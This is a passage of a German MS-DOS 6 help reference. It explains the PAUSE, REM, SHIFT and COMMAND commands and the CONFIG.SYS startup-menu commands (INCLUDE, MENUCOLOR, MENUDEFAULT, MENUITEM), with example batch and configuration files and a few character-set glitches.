bei der Beschreibung des Befehls <CHOICE>.



PAUSE

Unterbricht die Ausführung eines Stapelverarbeitungsprogramms und zeigt eine Meldung an, die den Benutzer auffordert, zur Fortsetzung eine beliebige Taste zu drücken. Sie können diesen Befehl nur in Stapelverarbeitungsprogrammen verwenden.

Syntax

PAUSE

PAUSE Anmerkungen

Aufforderung an den Benutzer, das Programm fortzusetzen

MS-DOS zeigt als Reaktion auf einen PAUSE-Befehl die folgende Meldung an:

Drücken Sie eine beliebige Taste, um fortzusetzen...

Aufteilen einer Stapelverarbeitungsdatei in mehrere Abschnitte

Wenn Sie STRG+C drücken, um ein Stapelverarbeitungsprogramm zu unterbrechen, zeigt MS-DOS die folgende Meldung an:

Stapelverarbeitung abbrechen (J/N)?

Wenn Sie J (für ja) drücken, wird das Stapelverarbeitungsprogramm beendet und die Steuerung an das Betriebssystem zurückgegeben. Daher kann der Befehl PAUSE vor einen Abschnitt einer Stapelverarbeitungsdatei gesetzt werden, der nicht ausgeführt werden soll. Während PAUSE die Verarbeitung des Stapelverarbeitungsprogramms unterbricht, können Sie STRG+C und anschliessend J drücken, um das Stapelverarbeitungsprogramm zu beenden.

PAUSE Beispiel

Angenommen, ein Stapelverarbeitungsprogramm soll den jeweiligen Benutzer mit

einer Meldung dazu auffordern, in eines der Laufwerke jeweils eine neue

Diskette einzulegen. Dazu könnten Sie die folgende Datei erstellen:

@echo off

:Anfang

copy a:*.*

echo Bitte eine neue Diskette in das Laufwerk A: einlegen.

pause

goto Anfang

In diesem Beispiel werden alle Dateien, die sich auf der in das Laufwerk A: eingelegten Diskette befinden, in das aktuelle Verzeichnis kopiert. Im Anschluss an einen Kopiervorgang wird die Meldung ausgegeben, die Sie auffordert, eine andere Diskette in das Laufwerk A: einzulegen. Danach unterbricht der PAUSE-Befehl die Verarbeitung, damit Sie die jeweilige Diskette wechseln und eine beliebige Taste drücken können, um die Stapelverarbeitung fortzusetzen. Das hier gezeigte Stapelverarbeitungsprogramm läuft in einer Endlosschleife, denn die Befehlszeile GOTO ANFANG veranlasst den Befehlsinterpreter, innerhalb der Stapelverarbeitungsdatei zu der Marke ANFANG zu springen. Dieses Stapelverarbeitungsprogramm können Sie nur beenden, indem Sie STRG+C und dann J drücken.



REM

Ermöglicht es Ihnen, Kommentare in eine Stapelverarbeitungsdatei einzufügen,

oder verhindert, dass Befehle in einer Stapelverarbeitungsdatei ausgeführt

werden. (Sie können auch ein Semikolon (;) verwenden, um Befehle zu

deaktivieren.) MS-DOS ignoriert alle Zeilen einer Stapelverarbeitungs- oder

CONFIG.SYS-Datei, die mit REM oder einem Semikolon beginnen.

Syntax

REM [Kommentar]

oder

;[Kommentar]

Parameter

Kommentar

Gibt die Zeichenkette an, die Sie als Kommentar einfügen möchten.

Verwandter Befehl

Informationen darüber, wie Meldungen angezeigt werden, finden Sie bei dem Befehl <ECHO>.

REM Anmerkungen

Einsetzen des Befehls ECHO, um Kommentare anzuzeigen

Der Befehl REM zeigt auf dem Bildschirm keine Kommentare an. Damit Kommentare auf dem Bildschirm angezeigt werden, müssen Sie innerhalb Ihrer Stapelverarbeitungs- oder CONFIG.SYS-Datei den Befehl ECHO ON einsetzen.

Einschränkungen für Zeichen in Kommentaren in Stapelverarbeitungsdateien

Für Kommentare in Stapelverarbeitungsdateien dürfen keine Umleitungssymbole (< oder >) oder Verkettungszeichen (|) verwendet werden.

Einsetzen von REM, um vertikale Abstände einzufügen

Vertikale Abstände können Sie sowohl einfügen, indem Sie REM-Befehle ohne Kommentare angeben, als auch, indem Sie Leerzeilen angeben. MS-DOS ignoriert Leerzeilen bei der Ausführung eines Stapelverarbeitungsprogrammes.

REM Beispiele

Das folgende Beispiel zeigt eine Stapelverarbeitungsdatei, in der Kommentare sowohl für Erläuterungen als auch für vertikale Abstände eingesetzt werden:

@echo off

rem Dieses Stapelverarbeitungsprogramm formatiert und prüft

rem Disketten. Es heisst PRUEFNEU.BAT.

rem

echo Legen Sie eine neue Diskette in das Laufwerk B: ein.

pause

format b: /v

chkdsk b:

Angenommen, Sie möchten in Ihre CONFIG.SYS-Datei eine Erläuterung einfügen, die vor dem COUNTRY-Befehl stehen soll. Fügen Sie dazu die folgende Zeile in Ihre CONFIG.SYS- Datei ein:

rem Ländercode auf Frankreich einstellen

country=033

Das folgende Beispiel zeigt einen Befehl DEVICE, der durch die Verwendung eines Semikolons (;) statt eines Befehls REM deaktiviert wurde:

;device=c:\ramdrive.sys



SHIFT

Ändert innerhalb einer Stapelverarbeitungsdatei die Positionen der ersetzbaren Parameter.

Syntax

SHIFT

SHIFT Anmerkungen

Wie der Befehl SHIFT funktioniert

Der Befehl SHIFT ändert die Werte der Parameter %0 bis %9 dadurch, dass er jeden Parameter in den jeweils vorhergehenden kopiert. Anders ausgedrückt: Der Wert von %1 wird in %0 kopiert, der Wert von %2 wird in %1 kopiert und so weiter. Dies ist speziell hilfreich, um Stapelverarbeitungsprogramme zu schreiben, in denen für eine beliebige Anzahl von Parametern derselbe Vorgang ausgeführt werden soll.

Verwenden von mehr als 10 Befehlszeilenparametern

Sie können den Befehl SHIFT auch dazu einsetzen, Stapelverarbeitungsprogramme zu schreiben, die mehr als 10 Parameter akzeptieren. Wenn Sie in der Befehlszeile mehr als 10 Parameter angeben, werden die Parameter, die hinter dem zehnten Parameter (%9) stehen, nacheinander in %9 kopiert.

Zurückkopieren von Parametern

Es gibt keinen SHIFT-Befehl, mit dem Parameter zurückkopiert werden können. Sobald Sie einen SHIFT-Befehl ausgeführt haben, können Sie den ersten Parameter (%0), der vor dem Kopiervorgang noch existierte, nicht mehr

wiederherstellen.

SHIFT Beispiel

Das folgende Stapelverarbeitungsprogramm namens KOPIER.BAT verdeutlicht, wie der Befehl SHIFT eingesetzt werden kann, wenn beliebig viele Parameter angegeben sind. Aufgabe des Programms ist es, alle in der Befehlszeile angegebenen Dateien in ein bestimmtes Verzeichnis zu kopieren. Die Parameter sind der Name des Verzeichnisses gefolgt von beliebig vielen Dateinamen:

@echo off

rem KOPIER.BAT kopiert beliebig viele Dateien

rem in ein anderes Verzeichnis.

rem Der Befehl hat die folgende Syntax:

rem kopier zielverz datei1 datei2 ...

set zielverz=%1

:liesdat

if "%1"=="" goto ende

copy %1 %zielverz%

shift

goto liesdat

:ende

set zielverz=

echo Alle Dateien kopiert.



COMMAND

Startet eine neue Kopie des MS-DOS-Befehlsinterpreters.

Ein Befehlsinterpreter ist ein Programm, das die Eingabeaufforderung anzeigt, hinter der Sie Befehle eingeben. Verwenden Sie den Befehl EXIT, um den neuen Befehlsinterpreter zu beenden und die Kontrolle dem alten

zurückzugeben.

Syntax

COMMAND [[Laufwerk:]Pfad] [Gerät] [/E:nnnnn] [/Y [/C Befehl|/K Befehl]]

Verwenden Sie in Ihrer Datei CONFIG.SYS die folgende Syntax:

SHELL=[[dos-Laufwerk:]dos-Pfad]COMMAND.COM [[Laufwerk:]Pfad][Gerät]

[/E:nnnn] [/P [/MSG]]

Parameter

[Laufwerk:]Pfad

Gibt an, wo der Befehlsinterpreter nach der Datei COMMAND.COM suchen soll, wenn der nicht residente Teil des Programms neu geladen werden muss. Dieser Parameter muss beim ersten Laden von COMMAND.COM angegeben werden, wenn sich die Datei COMMAND.COM nicht im Stammverzeichnis befindet. Dieser Parameter dient zum Setzen der Umgebungsvariablen COMSPEC. Weitere Informationen finden Sie unter "Nichtresidenter und residenter Speicher" unter <COMMANDÄÄAnmerkungen>.

Gerät

Bezeichnet ein anderes Gerät zur Befehlseingabe und - ausgabe. Weitere Informationen über diesen Parameter finden Sie bei der Beschreibung des Befehls <CTTY>.

[dos-Laufwerk:]dos-Pfad

Bezeichnet die Position von COMMAND.COM.

Optionen

/C Befehl

Gibt an, dass der Befehlsinterpreter den von "Befehl" festgelegten Befehl ausführen und danach enden soll. Diese Option muss an der Befehlszeile zuletzt eingegeben werden.

/E:nnnnn

Gibt die Umgebungsgrösse an, wobei nnnnn die Grösse in Byte ist. Der Wert von nnnnn muss im Bereich 160 bis 32768 liegen. MS-DOS rundet diese Zahl auf ein Vielfaches von 16. Der Standardwert ist 256.

/K Befehl

Führt das angegebene Programm, den Befehl oder die Stapelverarbeitungsdatei aus und zeigt dann die MS-DOS-Eingabeaufforderung an. Diese Option muss an der Befehlszeile zuletzt eingegeben werden.

Diese Option ist besonders nützlich, wenn Sie für die MS-DOS-Eingabeaufforderung in Windows eine andere Startdatei als C:\AUTOEXEC.BAT festlegen möchten. Öffnen Sie dazu die Datei DOSPRMPT.PIF mit Hilfe des PIF- Editors, und geben Sie die Option /K in das Feld "Programmparameter" ein.) Sie sollten die Option /K nicht in der SHELL-Befehlszeile Ihrer Datei CONFIG.SYS verwenden; dies kann zu Problemen mit Anwendungen und Installationsprogrammmen führen, die Änderungen an Ihrer Datei AUTOEXEC.BAT vornehmen.

/P

Darf nur verwendet werden, wenn in der Datei CONFIG.SYS COMMAND in

Verbindung mit dem Befehl SHELL verwendet wird. Die Option /P macht die

neue Kopie des Befehlsinterpreters permanent. In diesem Fall läßt sich

der Befehl EXIT nicht verwenden, um den Befehlsinterpreter zu beenden.

Wenn Sie /P angeben, führt MS-DOS Ihre Datei AUTOEXEC.BAT aus, bevor es

die Eingabeaufforderung anzeigt. Befindet sich im Stammverzeichnis des

Startlaufwerks keine Datei AUTOEXEC.BAT, führt MS-DOS statt dessen die

Befehle DATE und TIME aus. Steht in Ihrer Datei CONFIG.SYS kein Befehl

SHELL, wird mit der Option /P automatisch COMMAND.COM aus dem

Stammverzeichnis geladen.

/MSG

Gibt an, daß alle Fehlermeldungen im Arbeitsspeicher zu speichern sind.

Normalerweise werden alle Fehlermeldungen auf einem Datenträger

gespeichert. Diese Option ist nur nützlich, wenn Sie MS-DOS von Diskette

ausführen. Wenn Sie die Option /MSG verwenden, müssen Sie auch die

Option /P angeben. Weitere Informationen über die Verwendung der Option

/MSG finden Sie unter <COMMANDÄÄAnmerkungen>

/Y

Weist COMMAND.COM an, die mit der Option /C oder /K angegebene

Stapelverarbeitungsdatei schrittweise abzuarbeiten. Diese Option

ermöglicht die Fehlersuche in Stapelverarbeitungsdateien. Um

beispielsweise die Datei TEST.BAT schrittweise abzuarbeiten, geben Sie

ein: COMMAND /Y /C TEST. Die Option /Y erfordert die Option /C oder /K.

Zugehöriger Befehl

Der Befehl <SHELL> ist die beste Methode, um mit COMMAND permanent mehr

Platz für die Umgebungstabelle zu schaffen.

COMMAND Anmerkungen

Grenzen der Umgebungsgrösse

Wenn nnnnn kleiner als 160 oder grösser als 32768 ist, verwendet MS-DOS den

Standardwert von 256 Byte und zeigt folgende Meldung an:

Parameterwert nicht im zulässigen Bereich.

Wechseln Ihres Ein-/Ausgabegeräts

Sie können mit Hilfe des Parameters "Gerät" ein anderes Gerät (z.B. AUX) zur

Ein- und Ausgabe angeben. Informationen über Geräte finden Sie bei der

Beschreibung des Befehls <CTTY>.

Ausführen mehrerer Befehlsinterpreter

Wenn Sie einen neuen Befehlsinterpreter starten, richtet MS-DOS eine neue

Befehlsumgebung ein. Diese neue Umgebung ist eine Kopie der aufrufenden

Umgebung. Sie können die neue Umgebung ändern, ohne die alte zu

beeinflussen. Die Standardgrösse der neuen Umgebung beträgt 256 Byte, oder

die Grösse der aktuellen Umgebung, gerundet auf die nächsten 16 Byte, je

nachdem, was grösser ist. Verwenden Sie die Option /E, um die Standardgrösse

zu überschreiben. (Beachten Sie, dass sich die aktuelle Umgebung auf den

tatsächlich benutzten Speicher bezieht und nicht auf die

Umgebungsgrösse, die mit der vorausgehenden Option /E angegeben wurde.)

Nicht residenter und residenter Speicher

MS-DOS lädt den Befehlsinterpreter in zwei Teilen: den residenten Teil

(steht immer im Speicher) und den nicht residenten Teil (am Ende des

konventionellen Speichers). Einige Programme überschreiben beim Ablaufen den

nicht residenten Teil von COMMAND.COM. Wenn dies eintritt, muss der residente

Teil die Datei COMMAND.COM auf dem Datenträger finden, um den nicht

residenten Teil erneut zu laden. Die Umgebungsvariable COMSPEC gibt an, wo

sich COMMAND.COM auf dem Datenträger befindet. Weist COMSPEC auf eine

Diskette, bittet Sie MS-DOS gegebenenfalls darum, eine Diskette mit

COMMAND.COM einzulegen.

Wenn MS-DOS in den HMA geladen ist, wird auch ein Teil des residenten

COMMAND.COM in den HMA geladen, so daß für Programme mehr konventioneller

Speicher zur Verfügung steht.

Verwenden der Option /MSG

Normalerweise hinterlässt MS-DOS viele Fehlermeldungen in der Datei

COMMAND.COM auf dem Datenträger, anstatt Arbeitsspeicher zu ihrer

Speicherung zu verwenden. Wenn MS-DOS eine dieser Meldungen anzeigen muss,

liest MS-DOS die Meldung von dem Datenträger, der COMMAND.COM enthält.

Wenn Sie MS-DOS von Disketten anstatt von einer Festplatte ausführen, kann

MS-DOS solche Fehlermeldungen nur finden, wenn sich die Diskette mit

COMMAND.COM in Laufwerk A: befindet. Wenn diese Diskette nicht vorhanden

ist, zeigt MS-DOS eine der folgenden Kurzmeldungen statt der vollen Meldung

an:

Analysefehler

Erweiterter Fehler

Sie können sicherstellen, dass MS-DOS vollständige Fehlermeldungen anzeigt,

indem Sie COMMAND mit der Option /MSG verwenden. Diese Option zwingt MS-DOS,

diese Fehlermeldungen im Speicher zu halten, so dass sie bei Bedarf immer

verfügbar sind. Verwenden Sie COMMAND mit der Option /MSG, wenn Sie ein

System ohne Festplattenlaufwerk besitzen, es sei denn, Sie können auf den

Speicher, den Sie durch das Speichern der Fehlermeldungen verlieren, nicht

verzichten.

Sie müssen bei Verwendung der Option /MSG auch die Option /P angeben.

Interne Befehle

COMMAND wird Befehlsprozessor genannt, da er alle Befehle, die Sie eingeben,

liest und verarbeitet.

Bestimmte Befehle werden von COMMAND selbst ausgeführt. Diese Befehle werden

als COMMAND-intern bezeichnet. Andere MS-DOS-Befehle sind separate, auf

Ihrer Festplatte gespeicherte Programme, die MS-DOS wie jedes andere

Programm lädt.

Die folgenden MS-DOS-Befehle sind in COMMAND integriert:

<BREAK> <ECHO> <REM>

<CALL> <EXIT> <RENAME (REN)>

<CHCP> <FOR> <RMDIR (RD)>

<CHDIR (CD)> <GOTO> <SET>

<CLS> <IF> <SHIFT>

<COPY> <LOADHIGH(LH)> <TIME>

<CTTY> <MKDIR(MD)> <TYPE>

<DATE> <PATH> <VER>

<DEL (ERASE)> <PAUSE> <VERIFY>

<DIR> <PROMPT> <VOL>

COMMAND Beispiele

Der folgende Befehl gibt an, dass der MS-DOS-Befehlsinterpreter vom aktuellen Programm aus einen neuen Befehlsinterpreter starten, ein Stapelverarbeitungsprogramm namens MEINBAT.BAT ausführen und anschliessend zum ersten Befehlsinterpreter zurückkehren soll.

command /c meinbat.bat

Der folgende CONFIG.SYS-Befehl gibt an, dass sich COMMAND.COM im Verzeichnis

DOS auf Laufwerk C: befindet:

shell=c:\dos\command.com c:\dos\ /e:1024

Dieser Befehl weist MS-DOS an, die Umgebungsvariable COMSPEC auf

C:\DOS\COMMAND.COM zu setzen. Dieser Befehl richtet ausserdem für diesen

Befehlsinterpreter eine Umgebung von 1024 Byte ein.

Mit dem folgenden Befehl wird eine Ausführung von COMMAND.COM gestartet,

dann die Datei MEINBAT.BAT ausgeführt und Befehl für Befehl abgearbeitet:

command /y /c meinbat.bat





Befehle zur Definition mehrerer Konfigurationen

In einer CONFIG.SYS-Datei können mehrere verschiedene Systemkonfigurationen definiert werden. Um mehrere Konfigurationen zu definieren, verwenden Sie die folgenden besonderen CONFIG.SYS-Befehle:

<Include>

<Menucolor>

<Menudefault>

<Menuitem>

<Submenu>

Um mehrere Konfigurationen zu definieren, folgen Sie diesen allgemeinen Schritten:

1 Definieren Sie ein Startmenü in der CONFIG.SYS-Datei, indem mit einem

[menu] Dateikopf, gefolgt von einem oder mehreren Befehlen <MENUITEM>.

Die Befehle <MENUDEFAULT>, <MENUCOLOR> und <SUBMENU> können zur

Definition besonderer Eigenschaften des Startmenüs verwendet werden.

2 Erstellen Sie einen Konfigurationsblock in der Datei CONFIG.SYS für jede

von Ihnen gewünschte Konfiguration. Ein Konfigurationsblock beginnt mit

einem Dateikopf - einem von eckigen Klammern umschlossenen Namen. Fügen

Sie zu jedem Block die <CONFIG.SYS-Befehle>, die MS-DOS für Sie ausführen

soll, wenn diese Konfiguration aus dem Startmenü gewählt wird.

3 (Optional) In der AUTOEXEC.BAT-Datei können Sie <Batch-Befehle> wie

<GOTO> und <IF> verwenden, um MS-DOS dazu zu veranlassen, verschiedene

AUTOEXEC.BAT-Befehle abhänging von der Startkonfiguration auszuführen.

Wenn eine Konfiguration aus dem Startmenü ausgewählt ist, definiert

MS-DOS eine Umgebungsvariable namens CONFIG und stellt sie auf den Namen

des ausgewählten Konfigurationsblocks ein. Um MS-DOS die verschiedenen

Befehlseinstellungen für verschiedene CONFIG-Werte ausführen zu lassen,

fügen Sie einen Befehl GOTO %CONFIG% zu Ihrer AUTOEXEC.BAT-Datei hinzu.

Weitere Informationen über die Definition mehrerer Konfigurationen finden

Sie in Kapitel "Konfigurieren Ihres Systems" im MS-DOS-6-Benutzerhandbuch.



Mehrere Konfigurationen Beispiele

Definieren mehrerer Konfigurationen in Ihrer CONFIG.SYS-Datei

Die folgende CONFIG.SYS-Datei definiert zwei Konfigurationen:

[Menu]

menuitem=Stefan

menuitem=Lisa

[Common]

dos=high

buffers=15

device=c:\dos\himem.sys

[Stefan]

files=20

device=c:dos\emm386 2048 ram

[Lisa]

files=40

device=c:\net\network.sys

Diese CONFIG.SYS-Datei konfiguriert den Computer für entweder Stefan oder

Lisa. Für beide Konfigurationen führt MS-DOS die drei Befehle im ersten

[common] Abschnitt aus: DOS=HIGH, BUFFERS=15 und DEVICE=C:\DOS\HIMEN.SYS.

Stefan verwendet ein Desktop-Publishing-Programm, das einen

Erweiterungsspeicher erfordert; deshalb enthält seine Konfiguration einen

Befehl für EMM386. Stefan verwendet das Netzwerk nicht. Lisa verwendet das

Netzwerk, aber nicht das Desktop-Publishing-Programm. Ihre Konfiguration

startet den Netzwerkgerätetreiber.

Definieren mehrerer Konfigurationen in Ihrer AUTOEXEC.BAT-Datei

Wenn eine Konfiguration aus dem Startmenü gewählt ist, definiert MS-DOS eine

Umgebungsvariable namens CONFIG und stellt sie auf den Namen des

ausgewählten Konfigurationsblock ein. In der AUTOEXEC.BAT-Datei können Sie

den Befehl <GOTO> verwenden, um MS-DOS dazu zu veranlassen, verschiedene

Befehlssätze für verschiedene CONFIG-Werte auszuführen.

Die folgende AUTOEXEC.BAT-Datei verwendet den Befehl GOTO mit der

CONFIG-Variable, um verschiedene Befehlssätze auszuführen. Diese

AUTOEXEC.BAT-Datei ist entworfen, um mit der Beispielsdatei CONFIG.SYS im

vorherigen Abschnitt zu funktionieren.

c:\dos\smartdrv.exe

set temp=c:\temp

c:\dos\msav

; Gehe zu dem Abschnitt, der dem aktuellen

; Wert der CONFIG-Variablen entspricht

goto %config%

:Stefan

path=c:\dos;c:\deskpub;c:\typeset

c:\mouse\mouse.com

deskpub

; sberspringe nun Lisas Abschnitt,

; und gehe zum Ende.

goto end

:Lisa

path=c:\dos;c:\network;c:\utility

doskey

net logon lisa

goto end

:end

Wenn MS-DOS diese AUTOEXEC.BAT-Datei ausführt, startet es SMARTDrive, stellt

die TEMP-Umgebungsvariable ein und startet das MS-DOS-Anti-Virus-Programm.

MS-DOS geht dann zu dem Abschnitt, der dem Wert der CONFIG-Variable

entspricht.

Wenn der Name der ausgewählten Konfiguration "Stefan" ist, geht MS-DOS zum

Abschnitt Stefan. Es stellt dann den Suchpfad auf Stefan ein, lädt das

MOUSE.COM-Programm aus dem Verzeichnis C:\MOUSE und führt das

Desktop-Publishing-Programm aus. Der Befehl GOTO END weist MS-DOS an, den

Abschnitt END zu überspringen. Dies verhindert die Befehle, im Abschnitt

Lisa für Stefans Konfiguration ausgeführt zu werden.

Wenn die aktuelle Konfiguration "Lisa" ist und der Suchpfad anders

eingestellt ist, führt MS-DOS das Doskey-Programm aus, und ein Befehl LOGON

weist den Netzwerktreiber an (in der CONFIG.SYS-Datei geladen), den Computer

an das Netzwerk anzuschliessen.





INCLUDE

Übernimmt den Inhalt eines Konfigurationsblocks innerhalb eines anderen. Sie können diesen Befehl nur in Ihrer Datei CONFIG.SYS verwenden.

Der Befehl INCLUDE ist einer von fünf speziellen CONFIG.SYS-Befehlen, die

zum Definieren mehrerer Konfigurationen innerhalb einer einzigen Datei

CONFIG.SYS dienen. Für mehrere Konfigurationen definieren Sie ein Menü, das

beim Starten Ihres Computers erscheint. Jeder Menüpunkt entspricht einem

Block mit Befehlen in Ihrer Datei CONFIG.SYS, dem sogenannten

"Konfigurationsblock". Weitere Informationen über mehrere Konfigurationen

und Konfigurationsbl"cke finden Sie in Kapitel "Konfigurieren Ihres Systems"

im MS-DOS-6-Benutzerhandbuch.

Syntax

INCLUDE=Blockname

Parameter

Blockname

Bezeichnet den Namen des zu übernehmenden Konfigurationsblocks.

Zugehörige Befehle

Der Befehl INCLUDE ist einer von fünf speziellen CONFIG.SYS- Befehlen, die

zum Definieren mehrerer Konfigurationen dienen. Die restlichen Befehle

definieren das Startmenü:

Der Befehl <MENUITEM> definiert einen Menüeintrag.

Der Befehl <MENUDEFAULT> bezeichnet den Standardmenüeintrag.

Der Befehl <MENUCOLOR> definiert die Farbe des Menütextes sowie des

Bildschirmhintergrunds.

Der Befehl <SUBMENU> definiert ein Untermenü.

Zusätzlich ist der Befehl <NUMLOCK> besonders hilfreich, wenn Sie Startmenüs definieren.

Einen Überblick der Prozeduren zur Definition mehrerer Konfigurationen finden Sie unter dem Thema <Befehle zur Definition mehrerer Konfigurationen>.

INCLUDE Beispiele

Die folgende Datei CONFIG.SYS definiert drei Konfigurationen:

[menu]

menuitem=Basis_Konfig, Nur Grundkonfiguration

menuitem=Volle_Konfig, Normale Konfiguration

menuitem=Netz_Konfig, Normale Konfiguration mit Netzwerk

[Basis_Konfig]

dos=high

device=c:\dos\himem.sys

[Volle_Konfig]

include=Basis_konfig

dos=umb

device=c:\dos\emm386.exe ram

devicehigh=c:\dos\ramdrive.sys 512

[Netz_Konfig]

include=Volle_Konfig

devicehigh=c:\netz\network.sys

[common]

Diese CONFIG.SYS-Datei enthält vier Konfigurationsbl"cke. Der Block Basis_konfig enthält zwei typische CONFIG.SYS-Befehle. Der Block Volle_Konfig enthält die Befehle in Basis_konfig plus den Befehl DOS=UMB, einen DEVICE-Befehl und einen DEVICEHIGH-Befehl. Die dritte Konfiguration, Netz_konfig, enthält alle Befehle in Volle_Konfig, zu dem wiederum die in Basis_konfig gehören. Der Block [common] erscheint am Ende der Datei CONFIG.SYS. CONFIG.SYS sollte m"glichst immer mit einem[common]-Block enden, damit Installationsprogramme Ihrer Datei CONFIG.SYS Befehle problemlos hinzufügen können.

MENUCOLOR

Stellt die Text- und Hintergrundfarben des Startmenüs ein. Sie können diesen Befehl nur innerhalb eines Menüblocks in Ihrer Datei CONFIG.SYS verwenden.

Das Startmenü ist eine Auswahlliste, die beim Starten Ihres Computers erscheint. Sie definieren es mit Hilfe spezieller CONFIG.SYS-Befehle. Jeder Eintrag im Menü entspricht einer Gruppe von CONFIG.SYS-Befehlen, "Konfigurationsblock" genannt. Mit dem Startmenü haben Sie die Möglichkeit, eine von mehreren Konfigurationen zu wählen, mit denen Ihr Computer startet. Weitere Informationen über die Definition mehrerer Konfigurationen finden Sie in Kapitel "Konfigurieren Ihres Systems" im MS-DOS-6-Benutzerhandbuch.

Syntax

MENUCOLOR=x[,y]

Parameter

x

Bezeichnet die Farbe des Menütextes. Sie können einen Wert von 0 bis 15

angeben. Eine Liste mit Werten und Farben finden Sie unter "Farbwerte"

weiter unten in diesem Thema.

y

Bezeichnet die Farbe des Bildschirmhintergrunds. Sie können einen Wert

von 0 bis 15 angeben. Eine Liste mit Werten und Farben finden Sie unter

"Farbwerte" weiter unten in diesem Thema. Der Wert y ist wahlfrei; wenn

Sie keinen Wert angeben, zeigt MS-DOS die angegebene Textfarbe vor einem

schwarzen Hintergrund an.

Achten Sie darauf, für x und y unterschiedliche Werte anzugeben, da sonst

der Text unleserlich ist.

Farbwerte

Gültige Farbwerte liegen im Bereich 0 bis 15, wie aus folgender Auflistung

hervorgeht:

0 Schwarz 8 Grau

1 Blau 9 Leuchtend blau

2 Grün 10 Leuchtend grün

3 Cyanblau 11 Leuchtend Cyanblau

4 Rot 12 Leuchtend rot

5 Karmesinrot 13 Leuchtend Karmesinrot

6 Braun 14 Gelb

7 Weiss 15 Strahlend weiá

Zugehörige Befehle

Der Befehl MENUCOLOR ist einer von sechs speziellen CONFIG.SYS-Befehlen zur

Definition von Startmenüs. Die anderen Befehle sind:

Der Befehl <INCLUDE>, der den Inhalt eines Konfigurationsblocks in einem

anderen enthält. Dieser Befehl kann nicht in einem Menüblock

eingeschlossen sein.

der Befehl <MENUITEM> zur Definition eines Menüeintrags.

der Befehl <MENUDEFAULT> zur Angabe des Standardmenüpunkts.

der Befehl <NUMLOCK>, der den Status der NUMLOCK-Taste bestimmt, wenn das

Startmenü erscheint. (Obgleich NUMLOCK überall in der Datei CONFIG.SYS

verwendet werden kann, ist sie besonders nützlich, wenn Sie ein Startmenü

definieren.)

der Befehl <SUBMENU> zur Definition eines Untermenüs.

Einen Überblick des Verfahrens, mehrere Konfigurationen zu definieren,

finden Sie unter dem Thema

<Befehle zum Definieren mehrerer Konfigurationen>.

MENUCOLOR Beispiel

Der folgende MENUCOLOR-Befehl stellt den Menütext auf strahlendweiss und den

Bildschirmhintergrund auf blau ein:

menucolor 15, 1





MENUDEFAULT

Bezeichnet den Standardmenüeintrag im Startmenü und legt nach Wunsch eine

Wartezeit fest. Sie können diesen Befehl nur in einem Menüblock in Ihrer

Datei CONFIG.SYS verwenden. Wenn Sie diesen Befehl nicht verwenden, setzt

MS-DOS den Standard auf Eintrag 1.

Das Startmenü ist eine Auswahlliste, die beim Starten Ihres Computers

erscheint. Sie definieren es mit Hilfe spezieller CONFIG.SYS-Befehle. Jeder

Eintrag im Menü entspricht einer Gruppe von CONFIG.SYS-Befehlen,

"Konfigurationsblock" genannt. Mit dem Startmenü haben Sie die Möglichkeit,

eine von mehreren Konfigurationen zu wählen, mit denen Ihr Computer startet.

Weitere Informationen über die Definition mehrerer Konfigurationen finden

Sie in Kapitel "Konfigurieren Ihres Systems" im MS-DOS-6-Benutzerhandbuch.

Syntax

MENUDEFAULT=Blockname[,Wartezeit]

Parameter

Blockname

Bezeichnet den Standardmenüeintrag über seinen zugehörigen

Konfigurationsblock. Der Block muss an anderer Stelle in der Datei

CONFIG.SYS definiert werden. Wenn MS-DOS das Startmenü anzeigt, wird der

Standardmenüeintrag hervorgehoben und seine Nummer erscheint hinter der

Eingabeaufforderung "Wählen Sie einen Eintrag aus".

Wartezeit

Legt fest, wieviele Sekunden MS-DOS wartet, bevor es den Computer mit

der Standardkonfiguration startet. Wenn Sie keine Wartezeit angeben,

führt MS-DOS erst fort, wenn Sie die EINGABETASTE gedrückt haben. Sie

können eine Wartezeit zwischen 0 und 90 Sekunden angeben. Die Wartezeit

0 erzwingt die automatische Auswahl des Standardeintrags und übergeht

die Anzeige des Menüs.

Zugehörige Befehle

Der Befehl MENUDEFAULT ist einer von sechs speziellen CONFIG.SYS-Befehlen

zur Definition von Startmenüs und mehreren Konfigurationen. Die anderen

Befehle sind:

der Befehl <MENUITEM> zur Definition eines Menüeintrags.

der Befehl <MENUCOLOR> zur Definition der Farbe des Menütextes sowie des

Bildschirmhintergrunds.

der Befehl <SUBMENU> zur Definition eines Untermenüs,

der Befehl <NUMLOCK>, der den Status der NUMLOCK-Taste bestimmt, wenn ein

Startmenü erscheint. (Obgleich NUMLOCK überall in der Datei CONFIG.SYS

verwendet werden kann, ist sie besonders nützlich, wenn Sie ein Startmenü

definieren.)

der Befehl <INCLUDE> der den Inhalt eines Konfigurationsblocks in einen

anderen aufnimmt. Dieser Befehl lässt sich nicht in einen Menüblock

einbauen.

Einen Überblick des Verfahrens, mehrere Konfigurationen zu definieren,

finden Sie unter dem Thema

<Befehle zur Definition mehrerer Konfigurationen>.

MENUDEFAULT Beispiel

Der folgende Menüblock definiert drei Menüeinträge, setzt den

Standardeintrag auf "Volle" und stellt die Wartezeit auf 30 Sekunden ein:

[menu]

menuitem=Basis_konfig,Nur Grundkonfiguration

menuitem=Volle_Konfig,Normale Konfiguration

menuitem=Netz_konfig, Normale Konfiguration mit Netzwerk

menudefault=Volle_Konfig,30

Wenn MS-DOS startet und diesen Menüblock liest, wird folgendes Menü

angezeigt:

Startmenü für MS-DOS 6.2

========================

1. Nur Grundkonfiguration

2. Normale Konfiguration

3. Normale Konfiguration mit Netzwerk

Wählen Sie die gewünschte Option: 2 Verbleibende Zeit: 30

Nach der Anzeige dieses Menüs wartet MS-DOS 30 Sekunden; wird kein anderer

Eintrag ausgewählt, startet MS-DOS den Computer unter Verwendung der Befehle

im Konfigurationsblock "Volle_Konfig".



MENUITEM

Definiert einen Eintrag im Startmenü. Sie können diesen Befehl nur innerhalb eines Menüblocks in der Datei CONFIG.SYS verwenden. Pro Menü können bis zu neun Menüeinträge vorkommen. Das Startmenü ist eine Auswahlliste, die beim Starten Ihres Computers erscheint. Sie definieren es mit Hilfe spezieller CONFIG.SYS-Befehle. Jeder Eintrag im Menü entspricht einer Gruppe von CONFIG.SYS-Befehlen, "Konfigurationsblock" genannt. Mit dem Startmenü haben Sie die Möglichkeit, eine von mehreren Konfigurationen zu wählen, mit denen Ihr Computer startet. Weitere Informationen über die Definition mehrerer Konfigurationen finden Sie in Kapitel "Konfigurieren Ihres Systems" im MS-DOS-6-Benutzerhandbuch.

Syntax

MENUITEM=Blockname[,Menütext]

Parameter

Blockname

Bezeichnet den Namen des zugehörigen Konfigurationsblocks. Der Block muss

